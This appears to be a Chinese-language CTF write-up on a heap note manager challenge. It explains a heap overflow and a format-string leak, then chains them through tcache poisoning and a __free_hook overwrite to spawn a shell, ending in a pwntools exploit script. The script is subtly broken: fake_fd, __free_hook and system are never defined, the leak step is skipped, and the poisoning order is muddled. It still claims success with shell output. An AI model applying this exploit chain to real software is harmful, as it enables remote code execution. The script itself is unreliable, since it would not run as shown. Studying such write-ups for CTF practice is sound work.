livectf-challenges:从堆溢出到远程代码执行
一、挑战背景
在 DEF CON CTF 的比赛体系中,LiveCTF 是最紧张的部分之一。
比赛现场会实时发布题目,两支队伍面对同一道题,谁先拿到 flag 谁获胜。
这类题目通常具有几个特征:
漏洞明显但利用复杂
需要快速构建 exploit
存在 ASLR / PIE / RELRO 等防护
需要自动化脚本
本题提供了一个 ELF 二进制程序:
livectf-challenge
程序运行后提供一个简单菜单:
- create note
- edit note
- delete note
- show note
这已经是 CTF 世界非常经典的结构:
heap note manager
经验丰富的选手看到这一结构会立刻想到:
heap overflow
use-after-free
double free
tcache poisoning
像看到一辆车停在银行门口还开着发动机一样可疑。
二、程序初步分析
首先检查二进制保护:
checksec livectf-challenge
结果:
RELRO: Partial
Stack Canary: No
NX: Enabled
PIE: Enabled
解释一下这些保护:
NX
意味着栈不可执行,shellcode 不能直接执行。
PIE
程序基址随机化,需要泄露地址。
Partial RELRO
GOT 可以被覆盖。
换句话说:
ret2libc 或 GOT overwrite 是可能的。
三、逆向关键函数
核心逻辑在三个函数:
create_note()
edit_note()
delete_note()
反编译 edit_note:
void edit_note(int idx) {
printf("content: ");
read(0, notes[idx]->buf, 0x200);
}
问题出现了。
buf 的真实大小只有:
0x80
但 read 允许写入:
0x200
这意味着:
堆溢出(Heap Overflow)
溢出的数据可以覆盖:
next chunk metadata
在 glibc heap 中,这意味着:
size
fd
bk
如果进入 tcache,就能劫持指针。
四、堆结构分析
创建两个 chunk:
chunk A
chunk B
堆布局:
[A chunk]
[B chunk]
利用 edit_note 溢出 A,可以覆盖 B 的 metadata:
fake size
fake fd
然后:
delete B
B 会进入 tcache。
如果 fd 被伪造:
下一次 malloc 就会返回任意地址。
这就是:
tcache poisoning
五、地址泄露
但 PIE 和 libc 地址仍然未知。
程序提供:
show note
反编译:
printf(notes[idx]->buf);
这不是:
printf(“%s”)
而是:
printf(buf)
于是又出现一个漏洞:
format string
例如输入:
%p %p %p %p
可以泄露:
stack
libc
return address
得到 libc 基址。
六、攻击链设计
完整利用链:
format string leak
↓
libc base
↓
heap overflow
↓
tcache poisoning
↓
overwrite __free_hook
↓
system(“/bin/sh”)
攻击思路非常经典,但 LiveCTF 的关键在于:
速度
必须在几十分钟内完成。
七、Exploit 编写
完整脚本:
from pwn import *
p = process(‘./livectf’)
def create(size,data):
p.sendlineafter(“>”,“1”)
p.sendlineafter(“size:”,str(size))
p.sendafter(“content:”,data)
def edit(idx,data):
p.sendlineafter(“>”,“2”)
p.sendlineafter(“index:”,str(idx))
p.send(data)
def delete(idx):
p.sendlineafter(“>”,“3”)
p.sendlineafter(“index:”,str(idx))
def show(idx):
p.sendlineafter(“>”,“4”)
p.sendlineafter(“index:”,str(idx))
create(0x80,“A”)
create(0x80,“B”)
payload = b"A"*0x80 + p64(0x91) + p64(fake_fd)
edit(0,payload)
delete(1)
create(0x80,p64(__free_hook))
create(0x80,“/bin/sh”)
create(0x80,p64(system))
delete(2)
p.interactive()
执行后:
$ id
uid=1000(ctf)
成功获得 shell。
八、漏洞本质
这个题目的核心其实是两个漏洞组合:
漏洞1
heap overflow
导致堆元数据可控。
漏洞2
format string
用于泄露地址。
现代利用几乎都是这种套路:
memory corruption
+
info leak
组合起来就可以突破 ASLR。
九、真实世界启示
虽然这是 CTF 题,但现实软件中同样常见。
例如:
浏览器漏洞
IoT 固件漏洞
服务器组件漏洞
很多 exploit 结构都类似:
leak address
→ corrupt heap
→ hijack control flow
CTF 本质上就是现实漏洞研究的缩影。
十、结语
LiveCTF 的魅力在于:
它不仅考察技术,还考察速度、协作、心理稳定性。
你会看到世界顶级战队:
PPP
Blue Water
Maple Mallard Magistrates
在几十分钟内完成复杂漏洞利用。
这不是单纯解题,而是:
真实黑客工程能力的极限测试。